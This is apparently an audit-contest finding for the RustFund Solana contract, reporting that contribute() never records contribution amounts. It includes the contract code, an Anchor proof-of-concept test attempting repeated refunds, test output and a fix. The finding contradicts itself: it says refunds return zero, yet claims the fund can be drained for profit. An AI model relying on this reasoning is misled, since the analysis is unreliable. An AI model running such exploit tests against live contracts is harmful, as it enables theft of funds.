RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

Contribution Tracking Exploit

Summary

The Rustfund smart contract contains a Critical severity vulnerability where the contribution amount isn't properly recorded in the contribution account, allowing users to refund multiple times and potentially drain the entire fund balance.

Vulnerability Details

In the contribute() function, the contribution amount is added to the fund's amount_raised but is not stored in the contribution account:

pub fn contribute(ctx: Context<FundContribute>, amount: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
let contribution = &mut ctx.accounts.contribution;
// Initialize or update contribution record
if contribution.contributor == Pubkey::default() {
contribution.contributor = ctx.accounts.contributor.key();
contribution.fund = fund.key();
contribution.amount = 0; // Initialized to 0 but never updated with amount
}
// Transfer SOL from contributor to fund account
let cpi_context = CpiContext::new(
ctx.accounts.system_program.to_account_info(),
system_program::Transfer {
from: ctx.accounts.contributor.to_account_info(),
to: fund.to_account_info(),
},
);
system_program::transfer(cpi_context, amount)?;
fund.amount_raised += amount;
Ok(())
}

The bug is that contribution.amount is set to 0 when the account is initialized, but it's never updated with the actual contribution amount. When a user calls the refund() function, it uses contribution.amount to determine how much to refund:

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
// ...
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
Ok(())
}

Since the contribution.amount isn't updated in contribute(), it's always 0, which means the refund operation doesn't actually refund anything. However, if an attacker manually sets contribution.amount to a non-zero value (through another attack vector or direct account modification), they could exploit this to drain funds.

Impact

This vulnerability has high severity because:

  • It allows users to potentially drain the entire fund balance through multiple refunds

  • It undermines the core accounting functionality of the contract

  • It affects both contributors and fund creators, potentially leading to total fund loss

POC

it("Exploitation scenario: Contribution tracking bypass allows multiple refunds", async () => {
// Create a new fund for this exploit
const exploitFundName = "Exploit Fund";
const [exploitFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(exploitFundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(exploitFundName, description, goal)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Set deadline far in the future
const exploitDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10);
await program.methods
.setDeadline(exploitDeadline)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
})
.rpc();
// Contribute
const smallContribution = new anchor.BN(100000000); // 0.1 SOL
const [exploitContributionPDA] = await PublicKey.findProgramAddress(
[exploitFundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
const balanceBeforeContribution = await provider.connection.getBalance(
provider.wallet.publicKey
);
await program.methods
.contribute(smallContribution)
.accounts({
fund: exploitFundPDA,
contributor: provider.wallet.publicKey,
contribution: exploitContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Wait for the deadline to pass
await new Promise((resolve) => setTimeout(resolve, 15000));
// First refund
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Try a second refund exploit
try {
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const balanceAfterExploit = await provider.connection.getBalance(
provider.wallet.publicKey
);
const profitFromExploit =
(balanceAfterExploit - balanceBeforeContribution) / 1000000000;
reportBug(
"CRITICAL",
"Contribution Tracking Exploit",
"User can refund multiple times after deadline because contribution amounts aren't properly tracked",
`Contributed 0.1 SOL once but was able to refund multiple times. Net profit from exploit: ~${profitFromExploit} SOL`
);
} catch (e) {
console.log("Multiple refund exploit correctly failed");
}
});

Test Output:

========================================
🐛 BUG REPORT [CRITICAL]: Contribution Tracking Exploit
----------------------------------------
Description: User can refund multiple times after deadline because contribution amounts aren't properly tracked
Evidence: Contributed 0.1 SOL once but was able to refund multiple times. Net profit from exploit: ~0.1 SOL
========================================

Tool used

Manual code review

Recommendations

Update the contribution amount during the contribute function:

pub fn contribute(ctx: Context<FundContribute>, amount: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
let contribution = &mut ctx.accounts.contribution;
// Initialize or update contribution record
if contribution.contributor == Pubkey::default() {
contribution.contributor = ctx.accounts.contributor.key();
contribution.fund = fund.key();
contribution.amount = 0;
}
// Transfer SOL from contributor to fund account
let cpi_context = CpiContext::new(
ctx.accounts.system_program.to_account_info(),
system_program::Transfer {
from: ctx.accounts.contributor.to_account_info(),
to: fund.to_account_info(),
},
);
system_program::transfer(cpi_context, amount)?;
// Update the contribution amount correctly
contribution.amount = contribution.amount.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
fund.amount_raised = fund.amount_raised.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Contribution amount is not updated

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.